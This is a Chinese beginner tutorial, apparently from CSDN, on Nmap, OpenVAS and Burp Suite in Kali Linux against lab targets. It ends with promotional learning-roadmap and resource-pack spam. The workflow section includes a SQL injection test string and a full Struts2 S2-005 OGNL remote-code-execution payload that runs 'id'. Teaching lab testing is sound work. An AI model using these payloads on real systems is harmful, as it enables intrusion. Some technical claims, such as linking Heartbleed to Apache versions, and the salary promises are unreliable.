Kali Linux 实战： Kali 入门不用贪多，掌握 3 个核心工具！

Kali Linux 入门实战：3 个必会工具 + 漏洞扫描全流程

“刚装完 Kali Linux，看着桌面上几十款工具发呆 ——Nmap、Metasploit、Wireshark…… 不知道该先学哪个；跟着教程扫靶机，输完命令却看不懂结果，更不知道怎么串联成完整的漏洞扫描流程”—— 这是计算机专业转行网络安全时，接触 Kali 最常见的困境。

其实 Kali 入门不用贪多，掌握 3 个核心工具（Nmap 信息收集、OpenVAS 漏洞扫描、Burp Suite Web 测试），再串联成 “信息收集→漏洞探测→验证利用” 的流程，就能应对 80% 的基础扫描场景。本文全程以 “新手友好” 为核心，从 Kali 安装到漏洞报告输出，每步都附具体命令与截图提示，让你用已有的 Linux、网络基础快速上手，避免 “只会输命令，不懂背后逻辑” 的尴尬。

一、前置认知：Kali Linux 是什么？为什么学它？

不用背复杂定义，记住 3 个关键点，明白它对转行的价值：

1. 本质：专门用于网络安全测试的 Linux 发行版 —— 预装了 300 + 安全工具（漏洞扫描、渗透测试、流量分析等），不用手动逐个安装，开箱即用；

2. 核心优势：对新手友好（支持图形界面）、工具分类清晰（按 “信息收集”“漏洞利用”“密码攻击” 等归类）、社区资源丰富（遇到问题能快速找到解决方案）；

3. 转行价值：企业安全岗位（渗透测试、安全运维）的标配工具，掌握 Kali 实操 = 拥有 “进入安全行业的敲门砖”，且你的计算机专业基础（Linux 命令、网络协议）能直接复用。

二、第一步：Kali Linux 环境搭建（30 分钟搞定）

新手推荐 “VMware 虚拟机安装”（避免直接装物理机导致系统冲突），全程可视化操作，零命令基础也能完成。

1. 环境准备清单

组件	推荐版本	作用	获取渠道
VMware Workstation	17 Pro（试用版可用）	运行 Kali 虚拟机	官网下载（https://www.vmware.com/）
Kali Linux ISO 镜像	2025.1 64 位（图形版）	安全测试系统	官网下载（https://www.kali.org/，选 “Installer” 版本）
主机配置	内存≥8G、硬盘≥60G	保证虚拟机流畅运行	（现有电脑基本满足，关闭其他软件释放内存）

2. 详细安装步骤（附避坑点）

Step 1：创建虚拟机

1. 打开 VMware，点击 “创建新的虚拟机”→选择 “典型（推荐）”→“安装程序光盘映像文件（ISO）”，选择下载的 Kali ISO 文件；

2. 填写 “客户机操作系统”：选择 “Linux”→“Debian 11.x 64 位”（Kali 基于 Debian 开发）；

3. 命名虚拟机（如 “Kali-Linux-2025”），选择存储路径（建议非 C 盘，预留 60G 以上）；

4. 磁盘容量设置 “60GB”，选择 “将虚拟磁盘存储为单个文件”（性能更好）→点击 “完成”。

Step 2：安装 Kali 系统（图形化向导）

1. 启动虚拟机，选择 “Graphical install”（图形化安装，新手首选）；

2. 语言与地区：默认 “English”（避免中文路径乱码，后续可改中文）→“United States”→“American English”；

3. 网络配置：默认 “自动获取 IP”（虚拟机用 “NAT 模式”，能连主机网络），主机名填 “kali”，域名留空；

4. 账户设置（关键！记牢密码）：

• 全名：随意（如 “Kali User”）；

• 用户名：默认 “kali”（推荐不改，方便后续参考教程）；

• 密码：设置简单好记的（如 “kali123”，测试环境无需复杂密码）；

1. 磁盘分区：选择 “Use entire disk”（使用整个磁盘，新手无需手动分区）→“All files in one partition”（所有文件放一个分区）→“Finish partitioning and write changes to disk”→“Yes”；

2. 软件选择：默认 “Kali Linux Default”（包含核心工具，无需额外勾选），等待安装（约 15 分钟，取决于网速）；

3. 引导安装：选择 “Install the GRUB boot loader to the master boot record”→“/dev/sda”（默认磁盘）→“Yes”，安装完成后重启虚拟机。

Step 3：初始化配置（必做！避免后续踩坑）

1. 登录系统：用之前设置的 “kali/kali123” 登录，默认是英文界面，可先改中文（后续步骤）；

2. 换国内源（解决更新慢问题）：

• 打开终端（快捷键 “Ctrl+Alt+T”），输入命令编辑源文件：

sudo nano /etc/apt/sources.list

• 注释掉原有国外源（在行首加 “#”），粘贴国内源（阿里云）：

deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib

• 按 “Ctrl+O” 保存，“Enter” 确认文件名，“Ctrl+X” 退出；

3. 更新系统与工具（首次安装必做）：

sudo apt update && sudo apt upgrade -y

（等待 10-20 分钟，期间按 “Y” 确认安装，更新完成后工具都是最新版）；

4. （可选）改中文界面：

• 终端输入 “sudo dpkg-reconfigure locales”，按空格选中 “zh_CN.UTF-8 UTF-8”，按 “Enter”；

• 默认 locale 选择 “zh_CN.UTF-8”，重启虚拟机后生效（部分工具可能有中文乱码，测试环境建议先用英文）。

3. 验证环境：确保工具可用

终端输入以下命令，能正常输出版本信息即环境正常：

# 检查Nmap是否安装
nmap -V
# 检查OpenVAS是否安装（Kali 2025默认预装）
openvas --version
# 检查Burp Suite是否安装（在应用菜单“Web Application Analysis”中找“Burp Suite Community Edition”）

三、3 个必会工具实战：从 “会用” 到 “用对”

新手不用学所有工具，聚焦 “信息收集（Nmap）→漏洞扫描（OpenVAS）→Web 测试（Burp Suite）”3 个核心，每步都结合 “命令 + 场景 + 转行优势” 讲解。

1. 工具 1：Nmap—— 信息收集 “利器”（核心是 “摸清目标底细”）

（1）核心用途

扫描目标主机的 “开放端口、运行服务、操作系统版本”，比如 “目标 IP 192.168.71.130 开放了 80 端口（HTTP）、22 端口（SSH），操作系统是 Ubuntu”—— 这是漏洞扫描的第一步，没有信息收集，后续漏洞探测就是 “盲目碰运气”。

（2）新手必学 3 个命令（附场景实战）

以 “扫描 Metasploitable2 靶机（IP：192.168.71.130）” 为例（靶机是专门用于测试的脆弱系统，后文会提安装）：

命令 1：基础端口扫描（快速找开放端口）

nmap 192.168.71.130

• 作用：扫描目标 1-10000 端口（默认范围），显示开放端口及对应服务；

• 预期结果：会看到类似 “22/tcp open ssh”“80/tcp open http”“3306/tcp open mysql” 的输出，说明这些端口开放；

• 转行优势：有 Linux 基础的话，Nmap 命令逻辑和netstat“查看端口” 的思路一致，容易理解。

命令 2：全端口 + 服务版本扫描（精准探测）

nmap -p- -sV 192.168.71.130

• 参数解读：

• -p-：扫描所有 65535 个端口（默认只扫 1-10000，全端口能发现隐藏端口）；

• -sV：探测服务版本（如 “Apache httpd 2.2.8”“MySQL 5.0.51a”）；

• 场景：想知道目标运行的 Apache 版本是否有已知漏洞（如老版本有心脏出血漏洞）；

• 避坑：全端口扫描耗时较长（约 5-10 分钟），耐心等待，可加-T4参数提速（nmap -p- -sV -T4 目标IP），但不要用-T5（速度太快可能被目标拦截）。

命令 3：操作系统探测（辅助漏洞匹配）

nmap -O 192.168.71.130

• 参数解读：-O（大写 O）：探测目标操作系统（如 “Linux 2.6.24”）；

• 价值：不同系统的漏洞不同（如 Windows 的 MS17-010 漏洞、Linux 的 Dirty COW 漏洞），知道系统版本能精准匹配漏洞。

（3）结果保存：生成扫描报告（面试 / 工作需输出）

nmap -p- -sV -oN nmap_scan_report.txt 192.168.71.130

• 参数解读：-oN 文件名：将结果保存为纯文本报告，方便后续查看或附在漏洞报告中；

• 查看报告：终端输入cat nmap_scan_report.txt，或用文本编辑器打开（Kali 自带 “Text Editor”）。

2. 工具 2：OpenVAS—— 漏洞扫描 “自动化神器”（核心是 “批量找漏洞”）

（1）核心用途

自动扫描目标主机的已知漏洞（如 SQL 注入、缓冲区溢出、配置错误），生成带风险等级（高危 / 中危 / 低危）的报告 —— 不用手动逐个验证漏洞，适合批量扫描，新手也能快速发现目标的安全问题。

（2）实战流程：从 “启动服务” 到 “生成报告”（5 步走）

Step 1：初始化 OpenVAS（首次使用必做）

Kali 2025 默认预装 OpenVAS，但需初始化才能用，终端输入：

# 初始化环境（会自动创建管理员账号，记牢密码！）
sudo gvm-setup

• 等待时间：约 10-15 分钟（会下载漏洞库，取决于网速）；

• 关键输出：最后会显示管理员账号密码，类似 “Username: admin, Password: XXXXXXXX”，复制保存（丢了可重置：sudo gvm-password-reset admin）。

Step 2：启动 OpenVAS 服务

# 启动服务
sudo gvm-start
# 查看服务状态（确保“gvm”相关进程在运行）
sudo gvm-check-setup

• 验证：服务启动后，会自动打开浏览器，访问 “https://127.0.0.1:9392”（OpenVAS 的 Web 管理界面，HTTPS 协议，浏览器提示 “不安全” 点 “高级”→“继续访问”）。

Step 3：登录并创建扫描任务

1. 登录界面：输入初始化时的 “admin” 账号和密码；

2. 创建目标：

• 左侧菜单 “Configuration”→“Targets”→“New Target”；

• 填写 “Name”（如 “Metasploitable2”）、“Hosts”（目标 IP，如 “192.168.71.130”）；

• 其他默认（扫描端口选 “All TCP”），点击 “Save” 保存目标；

3. 创建任务：

• 左侧菜单 “Scans”→“Tasks”→“New Task”；

• 填写 “Name”（如 “Metasploitable2 漏洞扫描”），“Target” 选择刚创建的目标；

• “Scan Config” 选择 “Full and fast”（快速全扫描，新手首选，耗时约 20 分钟）；

• 点击 “Save”→“Start Task”（启动扫描，状态从 “New” 变为 “Running”）。

Step 4：查看扫描进度与结果

• 扫描中：刷新页面，看 “Progress” 进度条（100% 即完成）；

• 查看结果：进度 100% 后，点击任务名称→“Reports”→“HTML”（生成 HTML 报告，直观易读）。

Step 5：解读报告（核心看 3 点）

• 风险等级：优先看 “High（高危）” 漏洞（如 “Apache Struts2 远程代码执行漏洞”）；

• 漏洞描述：“Description” 说明漏洞危害（如 “攻击者可利用此漏洞执行任意命令”）；

• 修复建议：“Solution” 给出具体修复方法（如 “升级 Apache Struts2 到 2.5.26 以上版本”）；

• 转行优势：有运维基础的话，对 “服务升级”“配置修改” 等修复建议更熟悉，能快速理解漏洞影响。

（3）避坑指南

• 坑 1：初始化时 “下载漏洞库失败”→ 先换国内源（前文步骤），再重新执行sudo gvm-setup；

• 坑 2：Web 界面无法访问→ 检查服务是否启动（sudo gvm-status），或重启服务（sudo gvm-stop && sudo gvm-start）；

• 坑 3：扫描结果 “无高危漏洞”→ 确认目标是脆弱靶机（如 Metasploitable2），而非真实服务器（避免法律风险）。

3. 工具 3：Burp Suite Community Edition（社区版）——Web 漏洞 “手动验证工具”（核心是 “确认漏洞是否真能用”）

（1）核心用途

拦截、修改 Web 请求（如 HTTP GET/POST），手动验证 OpenVAS 扫描出的 Web 漏洞（如 SQL 注入、XSS）——OpenVAS 可能误报，Burp 能帮你 “眼见为实”，确认漏洞是否真的可利用。

（2）实战：用 Burp 验证 “SQL 注入漏洞”（以 DVWA 靶机为例）

Step 1：配置 Burp 代理（让浏览器流量经过 Burp）

1. 打开 Burp Suite：应用菜单 “Web Application Analysis”→“Burp Suite Community Edition”，默认选项点击 “Next”→“Start Burp”；

2. 配置浏览器代理（Kali 自带 Firefox）：

• 打开 Firefox→右上角 “设置”→“常规”→“网络设置”→“手动配置代理”；

• “HTTP 代理” 填 “127.0.0.1”，“端口” 填 “8080”（Burp 默认代理端口），勾选 “为所有协议使用相同代理服务器”→“确定”；

3. 安装 Burp 证书（避免 HTTPS 流量拦截失败）：

• Burp 中点击 “Proxy”→“Options”→“Import /export CA certificate”→“Export”→“Certificate in DER format”，保存为 “burp.cer”；

• Firefox 中 “设置”→“隐私与安全”→“查看证书”→“导入”，选择 “burp.cer”，勾选 “信任由此证书标识的网站”→“确定”。

Step 2：拦截并修改 Web 请求（验证 SQL 注入）

1. 访问 DVWA 靶机（假设 IP：192.168.71.131），登录（默认账号 admin/password），进入 “SQL Injection” 模块；

2. Burp 开启拦截：点击 “Proxy”→“Intercept”→“Intercept is on”（拦截开启，按钮变绿色）；

3. 靶机输入测试值：在 “User ID” 输入 “1”，点击 “Submit”，此时 Burp 会拦截到这个请求；

4. 修改请求触发注入：

• Burp 中看到拦截的请求，找到 “userid=1&Submit=Submit”，修改为 “userid=1’ OR 1=1 – &Submit=Submit”；

• 点击 “Forward”（转发请求），查看靶机页面 —— 若返回所有用户数据，说明 SQL 注入漏洞存在；

5. 关闭拦截：测试完成后，点击 “Intercept is on” 关闭拦截（避免影响正常浏览）。

（3）新手必学功能（社区版足够用）

功能模块	核心用途	实战场景
Proxy（代理）	拦截、转发 Web 请求	抓包查看登录表单提交的参数（如 username/password）
Intruder（入侵者）	批量爆破或测试参数	用字典爆破弱口令（如 DVWA 的登录密码）
Repeater（中继器）	重复发送相同请求，修改参数测试	测试不同 SQL 注入 Payload（如 1’ OR 2=2 --）
转行优势	开发背景的用户对 HTTP 请求结构熟悉，能快速理解参数修改逻辑	比如知道 “userid=1” 是 GET 参数，修改后会影响 SQL 查询

四、漏洞扫描全流程：串联 3 个工具（从 “信息” 到 “报告”）

以 “扫描 Metasploitable2 靶机” 为例，完整流程如下，可直接复用至其他测试场景：

1. 流程 1：信息收集（Nmap）→ 摸清目标

# 全端口+服务版本+操作系统扫描，保存报告
nmap -p- -sV -O -oN nmap_report.txt 192.168.71.130

• 输出：知道靶机开放 80（Apache）、22（SSH）、3306（MySQL）端口，操作系统是 Linux 2.6.24；

• 目的：为后续漏洞扫描缩小范围（如重点关注 80 端口的 Web 服务漏洞）。

2. 流程 2：漏洞扫描（OpenVAS）→ 批量找漏洞

1. 启动 OpenVAS 服务：sudo gvm-start；

2. 创建目标（192.168.71.130），选择 “Full and fast” 扫描；

3. 生成报告，发现高危漏洞 “Apache Struts2 S2-005 远程代码执行漏洞”（80 端口服务）。

3. 流程 3：漏洞验证（Burp Suite）→ 确认可利用

1. 配置 Burp 代理，访问靶机 80 端口的 Struts2 应用；

2. 拦截请求，修改参数为漏洞 Payload（如?name=%25%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%22id%22).getInputStream())%2C%23q%7D）；

3. 转发请求，若返回 “uid=0 (root)”，说明漏洞可利用（能执行系统命令）。

4. 流程 4：输出报告（3 部分组成）

最终提交的漏洞报告需包含：

1. 信息收集摘要：Nmap 扫描结果（开放端口、服务版本）；

2. 漏洞详情：OpenVAS 高危漏洞列表（名称、风险等级、描述）；

3. 验证结果：Burp 测试截图（修改的 Payload、靶机返回结果）及修复建议；

• 示例报告片段：

### 一、信息收集
- 目标IP：192.168.71.130
- 开放端口：80（Apache 2.2.8）、22（OpenSSH 4.7p1）
- 操作系统：Linux 2.6.24

### 二、高危漏洞
1. 漏洞名称：Apache Struts2 S2-005 远程代码执行漏洞
- 风险等级：High
- 影响端口：80
- 验证结果：用Burp提交Payload后，成功执行“id”命令，返回root权限
- 修复建议：升级Apache Struts2到2.3.1.2以上版本

五、转行必备：Kali 学习资源与避坑清单

1. 靶场推荐（安全测试，避免法律风险）

• 入门：Metasploitable2（脆弱 Linux 系统，漏洞多，适合练手，官网可下载）；

• 进阶：DVWA（Web 漏洞靶场，含 SQL 注入、XSS，可部署在 Kali 本地）；

• 实战：Hack The Box（在线靶场，需注册，有真实企业级漏洞场景）。

2. 工具进阶学习路径（新手不用一步到位）

• Nmap：先掌握-p/-sV/-O，再学-A（全面扫描）、-f（碎片包扫描，绕过简单防火墙）；

• OpenVAS：熟悉 “Full and fast” 后，尝试 “Full and fast ultimate”（更详细扫描，适合深度测试）；

• Burp Suite：社区版够用，若想深入，可了解专业版功能（如 Intruder 的多线程爆破）。

3. 避坑清单（新手 90% 的问题都在这）

问题现象	解决方案
Kali 联网失败（虚拟机 NAT 模式）	检查 VMware “虚拟网络编辑器”→“NAT 模式”→“恢复默认设置”
终端输入命令提示 “Permission denied”	加sudo获取管理员权限（如sudo nmap 目标IP）
Burp 拦截不到 Firefox 请求	确认浏览器代理配置正确（127.0.0.1:8080），且 Burp 拦截已开启
OpenVAS 扫描耗时过长（超过 1 小时）	选择 “Fast and quick” 扫描配置（只扫高危漏洞），或缩小扫描端口范围

4. 免费资源包（关注领取）

关注我的 CSDN 账号，私信回复 “Kali 入门”，领取：

1. 命令速查表：Nmap/OpenVAS/Burp 新手必学命令（PDF 版，可打印）；

2. 配置脚本：Kali 自动换源、OpenVAS 快速初始化脚本（双击运行，省去手动输入命令）；

3. 漏洞报告模板：本文提到的 “信息收集 + 漏洞详情 + 修复建议” 模板（Word 版，可直接修改）；

4. 视频教程：15 分钟 Kali 安装与初始化（B 站链接，含操作截图）。

最后：Kali 入门的核心是 “动手做，别空想”

很多转行用户把 Kali 当成 “高深工具集合”，装完后只看教程不实操，导致 “学了半个月，连 Nmap 扫描都不会”。其实 Kali 入门的关键是 “先做最简单的事”—— 今天安装 Kali，明天用 Nmap 扫一个靶机端口，后天用 OpenVAS 跑一次扫描，一周内就能串联起完整流程。

你的计算机专业基础（Linux 命令、网络协议、Web 请求）是最大优势 —— 比如有开发背景的人对 Burp 改包更快上手，有运维背景的人对 OpenVAS 的修复建议更理解。按本文的流程一步步做，你会发现 Kali 不是 “遥不可及的工具”，而是你转行安全的 “实战助手”。

网络安全的知识多而杂，怎么科学合理安排？

下面给大家总结了一套适用于网安零基础的学习路线，应届生和转行人员都适用，学完保底6k！就算你底子差，如果能趁着网安良好的发展势头不断学习，日后跳槽大厂、拿到百万年薪也不是不可能！

初级黑客
1、网络安全理论知识（2天）
①了解行业相关背景，前景，确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。（非常重要）

2、渗透测试基础（一周）
①渗透测试的流程、分类、标准
②信息收集技术：主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察
④主机攻防演练：MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础（一周）
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全（系统入侵排查/系统加固基础）

4、计算机网络基础（一周）
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析（HTTP、TCP/IP、ARP等）
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御：主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作（2天）
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透（1周）
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具：Nmap、BurpSuite、SQLMap、其他（菜刀、漏扫等）

恭喜你，如果学到这里，你基本可以从事一份网络安全相关的工作，比如渗透测试、Web 渗透、安全服务、安全分析等岗位；如果等保模块学的好，还可以从事等保工程师。薪资区间6k-15k

到此为止，大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗？

想要入坑黑客&网络安全的朋友，给大家准备了一份：282G全网最全的网络安全资料包免费领取

网络安全大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享

7、脚本编程（初级/中级/高级）
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中，想要高效地使用自制的脚本工具来实现各种目的，更是需要拥有编程能力.

零基础入门，建议选择脚本语言Python/PHP/Go/Java中的一种，对常用库进行编程学习；搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP， IDE强烈推荐Sublime；·Python编程学习，学习内容包含：语法、正则、文件、 网络、多线程等常用库，推荐《Python核心编程》，不要看完；·用Python编写漏洞的exp,然后写一个简单的网络爬虫；·PHP基本语法学习并书写一个简单的博客系统；熟悉MVC架构，并试着学习一个PHP框架或者Python框架 (可选)；·了解Bootstrap的布局或者CSS。

8、高级黑客
这部分内容对零基础的同学来说还比较遥远，就不展开细说了，贴一个大概的路线。

网络安全工程师企业级学习路线

很多小伙伴想要一窥网络安全整个体系，这里我分享一份打磨了4年，已经成功修改到4.0版本的**《平均薪资40w的网络安全工程师学习路线图》**对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

 如果你想要入坑黑客&网络安全工程师，这份282G全网最全的网络安全资料包！

网络安全大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享

​​​​​​
学习资料工具包

压箱底的好资料，全面地介绍网络安全的基础理论，包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等，将基础理论和主流工具的应用实践紧密结合，有利于读者理解各种主流工具背后的实现机制。

​​​​​​

网络安全源码合集+工具包

​​​​

视频教程

​​​​

视频配套资料&国内外网安书籍、文档&工具

​​​
​​ 因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

黑客/网安大礼包：CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享

好了就写到这了,大家有任何问题也可以随时私信问我!希望大家不要忘记点赞收藏哦!

特别声明：

此教程为纯技术分享！本文的目的决不是为那些怀有不良动机的人提供及技术支持！也不承担因为技术被滥用所产生的连带责任！本书的目的在于最大限度地唤醒大家对网络安全的重视，并采取相应的安全措施，从而减少由网络安全而带来的经济损失。！！！

本文转自网络如有侵权，请联系删除。